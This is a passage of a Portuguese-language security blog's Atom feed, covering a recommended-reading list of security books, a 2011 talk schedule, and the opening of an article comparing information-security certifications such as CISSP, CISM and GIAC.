/&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426/ref=cm_lmf_tit_8"&gt;The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Mark Dowd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Art-Assembly-Language-Randall-Hyde/dp/1886411972/ref=cm_lmf_tit_9"&gt;The Art of Assembly Language&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Randall Hyde&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/IDA-Pro-Book-Unofficial-Disassembler/dp/1593271786/ref=cm_lmf_tit_10"&gt;The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Chris Eagle&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817/ref=cm_lmf_tit_11"&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Eldad Eilam&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958/ref=cm_lmf_tit_12"&gt;Exploiting Software: How to Break Code&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Gary McGraw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=cm_lmf_tit_13"&gt;The Shellcoder's Handbook: Discovering and Exploiting Security Holes&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Chris Anley&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Rootkits-Subverting-Windows-Greg-Hoglund/dp/0321294319/ref=cm_lmf_tit_14"&gt;Rootkits: Subverting the Windows Kernel&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Greg Hoglund&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Gray-Hat-Python-Programming-Engineers/dp/1593271921/ref=cm_lmf_tit_1"&gt;Gray Hat Python: Python Programming for Hackers and Reverse Engineers&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Justin Seitz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Web-Application-Hackers-Handbook-Discovering/dp/0470170778/ref=cm_lmf_tit_3"&gt;The Web Application Hacker's Handbook: Discovering and Exploiting Security Flaws&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Dafydd Stuttard&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Cryptography-Engineering-Principles-Practical-Applications/dp/0470474246/ref=cm_lmf_tit_4"&gt;Cryptography Engineering: Design Principles and Practical Applications&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Bruce Schneier&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Practice-Programming-Brian-W-Kernighan/dp/020161586X/ref=cm_lmf_tit_5"&gt;The Practice of Programming&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Brian W. Kernighan&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Interfaces-Implementations-Techniques-Creating-Reusable/dp/0201498413/ref=cm_lmf_tit_6"&gt;C Interfaces and Implementations: Techniques for Creating Reusable Software&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by David R. Hanson&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Surreptitious-Software-Obfuscation-Watermarking-Tamperproofing/dp/0321549252/ref=cm_lmf_tit_16"&gt;Surreptitious Software: Obfuscation, Watermarking, and Tamperproofing for Software Protection&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Christian Collberg&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A maioria, se não todos, podem ser encontrados para consulta e download na internet. Mas concordo que, se o livro realmente é bom, e você gostou dele, comprá-lo é um incentivo para o autor continuar escrevendo bons livros e a editora investir mais ainda nesse tipo de literatura.&lt;br /&gt;&lt;br /&gt;Aproveitem!&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-5339760717326127384?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/5339760717326127384/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/10/mais-uma-lista-de-livros-para-seguranca.html#comment-form' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5339760717326127384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/5339760717326127384'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/10/mais-uma-lista-de-livros-para-seguranca.html' title='Mais uma lista de livros para segurança'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7312211478987400346</id><published>2011-10-17T23:44:00.000-02:00</published><updated>2011-10-24T01:28:54.697-02:00</updated><title type='text'>Agenda de palestras - 4º trimestre de 2011</title><content type='html'>Galera, tenho algumas palestras agendadas em eventos diversos nas próximas semanas e meses. Quero aproveitar e disponibilizar aqui no blog as datas de algumas dessas palestras (até mesmo para eu não esquecer hehehe):&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CNASI &lt;/b&gt;- SP: Mini-curso Forense Computacional com Software Livre - 19/10/2011&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;LinuxCon Brasil 2011&lt;/b&gt; - SP: "Auditoria em Sistemas Linux" e "Ferramentas Livres para Teste de Invasão" - 17 e 18/11/2011&lt;br /&gt;&lt;br /&gt;&lt;b&gt;LinuxDay &lt;/b&gt;- Juiz de Fora: "Ferramentas Livres para Teste de Invasão" - 26/11/2011&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Hack'n Rio&lt;/b&gt; - RJ: "How Stuff Works: Exploits" e "Forense Computacional com Software Livre" - 03/12/2011&lt;br /&gt;&lt;br /&gt;Espero encontrá-los em algum desses eventos!&lt;br /&gt;&lt;br /&gt;[ ]'s&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7312211478987400346?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7312211478987400346/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/10/galera-tenho-algumas-palestras.html#comment-form' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7312211478987400346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7312211478987400346'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/10/galera-tenho-algumas-palestras.html' title='Agenda de palestras - 4º trimestre de 2011'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6324472486191017206</id><published>2011-10-16T10:12:00.001-02:00</published><updated>2011-10-16T10:12:55.781-02:00</updated><title type='text'>Certificações em Segurança: para qual estudar?</title><content type='html'>&lt;br /&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: x-small;"&gt;* esse artigo também foi publicado na edição de nº30 da &lt;a href="http://www.revista.espiritolivre.org/%20"&gt;Revista Espírito Livre&lt;/a&gt; &lt;/span&gt;&lt;a href="http://www.revista.espiritolivre.org/%20"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Oque mais vejo em listas de discussão da área de segurança, e ouçode meu alunos e pessoas que assistem minhas palestras é a seguintepergunta: qual é a melhor certificação na área de segurança dainformação?&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Háoutras variantes sobre o mesmo tema, mas é sempre alguém querendosaber qual é a melhor certificação para se obter tanto para quemestá entrando nessa área, quanto para quem quer crescer ainda mais.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Porconta de tantas dúvidas sobre o mesmo assunto, ainda mais na áreade S.I., pensei em escrever esse artigo para clarear um pouco mais aquestão.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Primeirovou tentar elencar as certificações mais importantes para o mercadonesse momento, tanto para quem pensa em enfrentar o mercadotupiniquim, quanto para quem pensar em buscar outras oportunidades aoredor do mundo. Afinal, certificação reconhecida apenasnacionalmente, em plena era da globalização, é pura perda detempo.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Amaioria das certificações que procurarei abordar, são vendorneutral, mas algumas fugirão dessa regra, por mais que eu meesforce.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Umexemplo disso, são as certificações da CISCO. Por mais quequeiramos fugir, a CISCO ainda detém uma imensa fatia do mercado deequipamentos de redes e infraestrutura. E esse fabricante, por sabero quanto a segurança de uma infraestrutura é importante para umaorganização, desenvolveu um currículo bem interessante para osprofissionais que já trabalham com CISCO e possuem pelo menos oCCNA. Partindo dessa certificação básica desse vendor, oprofissional pode decidir por especializar-se em segurança deinfraestrutura de redes, seguindo o padrão CISCO com ascertificações CCNA Security, CCNP Security e CCIE Security.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Essascertificações, são bem interessantes quando pensamos noprofissional que atua como analista de infraestrutura e deseja migrarpara a área de segurança. Mas e para o profissional que administraredes? As certificações LPI, voltadas para Linux são muito boas,principalmente quando culminam na LPI 303, cujo foco é segurança emservidores Linux.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;ALPI 303, aborda temas que possibilitam o profissional que atua comLinux, realizar o hardening e proteger seus servidores de acessosindevidos e ataques remotos e locais. Os temas abordados englobamdesde criptografia de disco, à VPN e monitoramento com Nagios.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Eucostumo inclusive brincar, que se alguma empresa quer um profissionalcom conhecimento de infra e administração de redes, é só ver se oprofissional tem o conhecimento prático e vivencial que é pedidopara uma certificação LPI e CISCO conjugadas. Mas vamos em frente,pois o nosso foco aqui é segurança... E só falamos de quatrocertificações até agora.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Quandoalguém me pergunta qual a melhor certificação para conseguirentrar no mercado de SI, prontamente digo: ISO 27002. Essa é bembásica, fácil de tirar e precisa constar no currículo de todoprofissional de segurança da informação. Mas deve-se ficar bemclaro, que junto dessa certificação, o profissional deve ter umconhecimento extenso sobre a norma ISO 27001, para saber o porque demuita coisa da 27002. Mas ainda assim, essas certificações aindasão para níveis de gestão e consultoria apenas, sem conhecimentotécnico muito forte como pré-requisito.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Outracertificação para quem já tem um pé em segurança, atuando comalguns controles como administrador de redes ou analista de infra(onde em muitas empresas é esse o profissional que faz tudo), é aSecurity+ da CompTIA, que aborda diversos temas sobre segurança eprecisa da comprovação de dois anos de atuação na área.Considero essa certificação como um nível intermediário,preparatório para outras mais complexas.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Continuandoainda no nível de gestão, temos a CISM (Certified InformationSecurity Manager) criada pela ISACA, que tem como foco osprofissionais que atuarão como gerentes de SI, tomando as decisõesmais burocráticas e de nível de gestão que envolvem a segurançanuma organização. &lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;DaISACA também, com um bom nível de importância no mercado, temos aCISA (Certified Information Systems Auditor), possui um foco emauditoria, controles e segurança. Se o profissional pretende seguiro rumo da auditoria em TI e SI em geral, essa é uma certificaçãoobrigatória.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Partindoagora para uma outra empresa certificadora, onde se encontramatualmente as certificações mais requisitadas pelo mercado desegurança, a (ISC)², cito três certificações como as maisinteressantes para os profissionais que já atuam na área, masprecisam de um respaldo maior para ascenderem em suas carreiras:SSCP, CSSLP e CISSP.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Aprimeira dessas certificações, SSCP (Systems Security CertifiedPractitioner), tem como foco profissionais que atuem como analistasde segurança, administradores de rede e sistemas. A prova englobaparte dos domínios existentes no CBK (Common Body Knowledge), e quetambém fazem parte dos domínios cobrados na prova para a CISSP. Éinteressante para os profissionais que estão iniciando em segurança,que não se sentem seguros para realizar a prova para CISSP já deinício, mas querem uma certificação respeitada internacionalmentena área.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;Jáa CSSLP, &lt;/span&gt;&lt;em&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span style="font-style: normal;"&gt;CertifiedSecure Software Lifecycle Professional, é uma das primeirascertificações no mundo a abordar o tema desenvolvimento seguro. Nãohá foco na codificação, ou limitação no que diz respeito àslinguagens que suporta, pois é mais global, focando em todo o ciclode produção de um software e validando em cada ponto, os princípiosde segurança existentes. &lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;em&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span style="font-style: normal;"&gt;Hápouquíssimos profissionais dessa área no mercado atualmente, e éuma excelente oportunidade para quem trabalha com desenvolvimento equer migrar para segurança da informação, pois permitirá coadunarsua experiência prévia, com os novos conceitos aprendidos sobresegurança, e de uma maneira que está de acordo com as necessidadesatuais do mercado.&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;em&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;&lt;span style="font-style: normal;"&gt;Agora,chegamos na certificação mais importante para o mercado desegurança, a CISSP. Devemos manter em mente, que ela não é umacertificação técnica e nem tem esse objetivo. No entanto, elarequer um conhecimento bem amplo quanto as soluções existentes nosdiversos domínios do CBK desenvolvido pela (ISC)². Tais domíniosabordados na prova são:&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Access Control &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Application Development Security &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Business Continuity and Disaster Recovery Planning &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Cryptography &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Information Security Governance&amp;nbsp;and Risk Management &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Legal, Regulations,&amp;nbsp;Investigations and Compliance &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Operations Security &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Physical (Environmental) Security &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Security Architecture and Design &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" style="line-height: 115%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Telecommunications and Network Security&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Aprova, até ano passado, era aplicada apenas em papel, e em inglês.No entanto, do final do ano passado pra cá, tivemos ótimasnotícias, inclusive uma que deixou à todos felizes esse mês(setembro/2011): as provas desde o final do ano passado já sãoaplicadas em português, e partir de outubro de 2011, elas tambémpoderão ser realizadas em alguns centros credenciados pela VUE ePrometric.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Essasduas decisões são importantes para, em primeiro lugar, focar aavaliação nos domínios, e não no nível de proficiência que oprofissional tem da língua inglesa. E em segundo, porque anteshaviam poucas vagas nas poucas vezes em que a prova era aplicada aquino Brasil, inclusive forçando que os profissionais se deslocassempara São Paulo, gastando com deslocamento e hospedagem para realizara prova, e ainda assim corriam o risco de não conseguir vagas para aprova, já que sempre eram poucas. E uma das coisas interessantes, éque antes era necessário aguardar algumas semanas, e agora com aprova no formato eletrônico, o resultado sai assim que o candidatofinaliza a prova.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Agora,quem quiser realizar essa prova, prepare-se para a maratona, pois sãoem média 250 perguntas, mas sem uma solução muito definida do tipo“qual a flag de resposta quando é enviado uma pacote com a flagnull ativa para uma porta aberta?”. Na prova da CISSP, as questõessão sempre contextualizadas, cobrando uma solução que melhor seencaixe naquele cenário específico. Por isso, alguns anos deexperiência na área de segurança, além de ser um dospré-requisitos para obter a certificação, também auxiliará oprofissional à responder as questões de forma mais concisa ecoerente.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Essacertificação, CISSP, é pré-requisito para quem quer sair doBrasil e conseguir uma vaga lá fora na área de segurança dainformação. E aqui no Brasil, como ainda são poucos osprofissionais com esse certificado, ainda é possível conseguir bonssalários comparados com outras áreas de atuação em nosso país(faixa salarial de 10.000,00 à 20.000,00 dependendo do nível degestão em que o profissional atue).&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Paraquem quiser saber um puco mais sobre os domínios abordados nasprovas das certificações da (ISC)², é interessante acessar oseguinte link:&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Times New Roman,serif; font-size: small;"&gt;&lt;span style="color: blue;"&gt;&lt;u&gt;&lt;a href="https://www.isc2.org/previews/Default.aspx" target="_top"&gt;&lt;span style="font-family: Calibri,sans-serif;"&gt;https://www.isc2.org/previews/Default.aspx&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Agoravamos partir para certificações mais técnicas, e analisar algumasdas oferecidas pela SANS, EC-Council, ISECOM, Offensive Security eImmunity.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;ASANS, através da entidade certificadora conhecida como GIAC (GlobalInformation Assurance Certification), oferece dezenas decertificações para a área de segurança da informação. Vou falarapenas de algumas delas.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Ascertificações oferecidas pela SANS são altamente reconhecidas nomercado internacional, mas ainda estão em processo de valorizaçãoaqui no Brasil. Portanto, se quer uma certificação conceituada etem como objetivo sair do Brasil ou atuar em uma multinacional, ascertificações GIAC são uma excelente pedida.&lt;/span&gt;&lt;/div&gt;&lt;div align="JUSTIFY" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt;&lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Elassão agrupadas em categorias, que são as seguintes, atualmente:&lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Security Administration&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Audit&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" lang="en-US" style="line-height: 100%; margin-bottom: 0.21cm; margin-top: 0.18cm;"&gt; &lt;span style="font-family: Calibri,sans-serif; font-size: small;"&gt;Management &lt;/span&gt; &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="JUSTIFY" 